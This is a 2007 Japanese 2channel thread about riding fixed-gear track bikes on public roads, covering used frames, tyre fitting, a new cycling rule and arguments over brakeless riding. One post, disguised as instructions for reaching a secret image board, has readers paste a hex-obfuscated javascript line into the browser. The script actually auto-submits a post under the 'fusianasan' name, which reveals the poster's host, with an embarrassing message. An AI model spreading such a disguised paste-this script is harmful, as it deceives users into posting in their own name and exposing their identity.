>>925 ロードを多く取り扱う自転車屋さんと仲良くなって、
廃棄したものをゆずってもらったらいい
ロードの練習・試合には使えなくても、街乗りピストには十分だろう
あちらも、産業廃棄物が減って助かる
>>922 VIVALOなんて、まだマシでしょ
トップチューブとダウンチューブが変形したものまで出品されているからね
追突か障害物に突っ込んだのが見え見え
「事故車を売って、良心は痛まないのですか?」と質問したら
「プロが試合で使うのでなければ大丈夫、と専門家が判断した」だってさ
売る側は、買った人間が事故死しても知ったこっちゃないってのが、よくわかる
それでも入札があるんだから、素人さんはいい客だなあ
街乗りピストの皆さんは、肝に銘じておくように
そこで名前が浮上してくるのが、ゴト士
ヒロシ藤原
ピストブームが来る前はマジで2万円も出せば完成車落ちてた。
前後ホイールにフレームおまけ、ってのが8千円くらいだったり。
4〜6年位前の話ね。
935 :
ツール・ド・名無しさん:2007/12/26(水) 21:05:52 ID:dj3gRpAd
2万なんて訳有りだろ
まともなフレーム欲しければヤフオクよりフレームバンクでかったほうがいいよ
ナガサワやサムソンのまともなフレーム沢山出てるだろ
23cのタイヤを取り替えたけど、スゲー硬くて苦戦した。
みんなどうやって取り替えてるの?
>>936 クリンチャーなら:
君のやり方が下手糞なだけ。
取り外しにレバーを使っていないならおとなしくタイヤレバーを300円くらい出して買いなさい。
つけるときはタイヤレバーを使うとチューブが死ぬ
チューブラー:
7気圧入れて一日放置すると少し伸びてはまりやすくなる。
上のように突如、出川、山崎ほうせい張りに空気読めない感じで、
タイヤねた出して、ビバロねた回避させようとするの、
これは仕込みですか?
なんか、パタッと止まっちゃったから。
アルミで組んでみたい。
俺の興味はビバロよりギザロwww
>>936 そういう質問は、ホイールスレの方がいいな、
リム・タイヤの銘柄を書いて。
手だけで入らないときはタイヤレバーを使うことになるけど、
その場合は、レバーがハブシャフトと平行になるまでレバーを起こし、
その位置でレバーを固定して、後はタイヤだけを引っ張り込めば、チューブ破損が防げる。
941 :
ツール・ド・名無しさん:2007/12/27(木) 19:13:18 ID:VHU4Ycrv
どうしても中古フレームの相場を上げたくない奴らがいるみたいだ。
寒い今が仕入れ時だもんね。がんばれw
942 :
ツール・ド・名無しさん:2007/12/27(木) 19:23:44 ID:AAFfcT3X
馬鹿しかいないな
943 :
ツール・ド・名無しさん:2007/12/27(木) 20:31:27 ID:/xllBkSp
携帯、ヘッドホンは禁止 自転車の運転で新ルール
http://sankei.jp.msn.com/affairs/disaster/071227/dst0712271214008-n1.htm 自転車運転のルールづくりを進めていた警察庁の有識者懇談会は27日、走行中の携帯電話、ヘッドホンステレオの使用禁止、保護者が幼児を乗せる際はヘルメット着用を義務付けることなどを盛り込んだ報告書をまとめた。
報告を受け、警察庁は年度内にも自転車運転のマナーなどを定めた「交通の方法に関する教則」(国家公安委員会告示)を改正する方針。
有識者懇談会は、改正道交法で車道通行が原則とされる自転車の歩道通行が一部認められたことを受け検討に着手。
報告書では「自転車は車両であり、車道通行が原則であることを教則で明示した上で、車道などの通行方法や歩道を通行できるケースを規定すべきだ」と指摘した。
運転中に禁止、注意すべき事項として、携帯電話やヘッドホンステレオ使用のほか、歩道でむやみにベルを鳴らさないことや、雨天の場合は傘ではなく、雨がっぱを着用することなどを挙げた。
自転車が歩道通行できるのは、道路工事や駐車車両などのため車道通行が困難な場合のほか、自動車の交通量が多く、接触の危険がある場合とした。
その上で、歩道では徐行し、警察官の指示があったり、歩行者の安全を損なう恐れがある場合は、自転車を押して歩くなどとした。
( ´Д`) ハァ〜 フリーは楽だなァ〜
楽だけど面白味に欠ける>フリー
947 :
ツール・ド・名無しさん:2007/12/28(金) 10:50:55 ID:8/gRTXko
フレームバンクて競技じゃなくても登録できんの?
抽選と称して売らないけどなw
タイヤも欠陥品だったし
車輪も中古で2~3は高い
>>935 競技で乗る人だけが使うなら、2万円もつけば御の字だろう。
そもそも、オークションでフレームはなかなか売れないよ。
種類とサイズが多すぎるのが原因。
新品の人気ブランドでも、定価の半分もつかない。
小石を飛ばすぞ。
ピスト乗りはマゾだって聞きました。
アニヲタです。
救いようがないな
救う気ないけど
[極秘]裏画像掲示板アクセス方法[初心者厳禁]
2ちゃんねる歴2年以下の方はご遠慮下さい。
(準備)
2ch専用ブラウザを使用している人は、
IEなどの一般的なブラウザでこのスレを開いておく。
1、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414745
2e76616c75653d275c75333045445c75333045415
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3035355c7533303434273b7375626d69742e636c69636b28293b7
d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。
2、
改行を外して1行にする。
3、
1行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
4、
Enterを押す(もしくは「移動」をクリックする)。
>>954 たしかにこれは、2ch歴2年以下には過激すぎるなw
ロリ画像ください
つるしのピストルック車乗ってるやつ
フリーで走ってるやつ多いだろうな。
あと一年ぐらいの辛抱で”男”ノーブレ野郎
とフリーちゃんルック車にはっきり分かれて、
ブームから定着へ、と、は、むかわないか・・・・
固定ギアであることとノーブレは結びつかない。
つーか、ノーブレどもが悪さしてるせいでブレーキつけて乗ってる
昔からの街乗りピストまで迷惑してるんだよ。
>>958 街乗り自転車の形状として、定着する可能性はあるでしょ
マウンテンバイクの、形状がうけてルック車が氾濫したように
移動手段として乗るなら、性能はどうでもいいんだけど、
何がしかママちゃりと違った形状にしたい、って人が多いんだと思うよ
>>959 >昔からの街乗りピストまで迷惑してるんだよ。
お前も大迷惑なんだよ。
街で固定ギア乗るなよ。
いちからか?
いちからせつめいしないとだめか?
公道で乗るのは本当にやめて欲しいです
街に出るならピストよりもずっとロードの方がかっこいいと思いますしね
本当にピストが好きな人は公道で走らないと思います
ブレーキ付けてたら問題ないんでしょ?
ピスト自体が駄目なんか?
まぁブレーキつけてても実際危険だわな。事故も多いし。
そうなん?
皆、ノーブレーキの事で怒ってるんだと思ってた。
無限ループか・・・
これだから・・
競輪場という極めて限定的なフィールドでの使用を前提とした競技用自転車を
素人が安易に使うのは危険この上ない。
プロ用のフレームは寿命よりも軽さやフィーリングを重視した消耗品であり、
歩道などの段差でも内部的なダメージを負ってしまったり、
衝突によって破断しやすくなったりする恐れがある。
道交法に則してブレーキを装着したとしても
完全に停止するまでペダルと足の回転は止まらないので、
いざという時の急制動ではバランスを崩して倒れる事も考えられ、
事故に至った場合には加害者として責任を問われる可能性もある。
早い話が、格好だけで流行に乗るのならば、一般公道を走らせる事を念頭において設計・製造されたロードレーサーに乗れよ。という事だ。
>>969 d。雑誌とかで見てシンプルでカッコ良いから買おうと思ってたけど(なんか安いし)止めた。
ピストってようは一輪車みたいなもんで子供でも乗ってるから慣れればなんとかなるだろうと思ってたよw
そうそう、あとロードレーサーも危ないよ。
常時ブレーキをしっかり握れるハンドル形状ではないし。
シューズがペダルにバインドされる形式のペダルは
慣れないとイザという時に靴が外れないで重大な事故に至る。
マウンテンバイクも危ないなあ〜。一般公道を念頭に置いていない。
あれは山道を速く走る事に特化されており、街中での使用は危険!
危険だ!自転車は!
まあ、ブームにはすばやくて、がたいはいいけど鈍いヤツには
固定はあぶないな。本当は。
それなりにやってるやつでも、多数で走るポイントとかミスアンドとか
速度のゴール後とか、ロードの癖とか、気を抜いてしまい、
つい、足をとめてしまって、
一人ゴケするのたまにあるから、
おまえらが、ボケて、足をとめてしまって、一人ゴケしてるの知ってるよ。
ついでに車道から歩道に乗り上げるとき段差で落車も、
それからストラップ緩めわすれで、信号で一人ゴケwww
普段ロード乗ってるから
ふとした時に足止めてしまうなあ。
今日は思いっきり屁をしようとしてつい止めてしまった。
ペダリングしながら放屁って難しいんだよなあ〜
あとキンタマが痒い時とかも困る。
固定って本当に不便ですね。
>>973 だから、禁断のフリーに足を出してしまうんだろうな。
なんでもそうだけど、流行りものってのは、カッコ悪く非合理なものなんだよ。
日常に飽きがきていたり、一般の人と違ったことをしたくなって始まるものだから。
カッコよかったり、合理的であれば、大勢の人が普通に採用する。
それでは、流行りものに飛びつく人たちの心を満足させることはできない。
MTBと同じで、街乗りにまったく適さないものだから、バカが飛びつく。
MTBは悪路走破性が高いから縁石や凹凸の多い歩道を
走る場合は便利で、その頑丈さゆえ殆どメンテナンスを
しない一般人でも壊しにくいことからMTBルックがブーム
になった経緯がある。
でも、教則改正で車道走行が基本になるとロードの方が有利。
今度はリタノフみたいなロードルック車が出てくるのかね。
一般市民はママチャリで十分。
Rover,chevrolet
DJも街糊してたが、車道は似合わない…
つか、速度域が街糊ピストより遅いし…
>>976 ロードルック車ではないが、フラットバーロードがその役どころじゃないかな
980 :
ツール・ド・名無しさん:
やっぱり、ずーと愛用フレーム最高ビバロだ!!パンクな俺はビバロしか乗らない。しかしレースにでれないな。。。
でもそんなのかんけいねーーー。練習と町乗りは皆さんビバロに決まりですよ。約600人の選手が愛用してたので
悪いか悪くないかは誰でも解る。素人が手に入れられるプロフレームでは今一押しだね。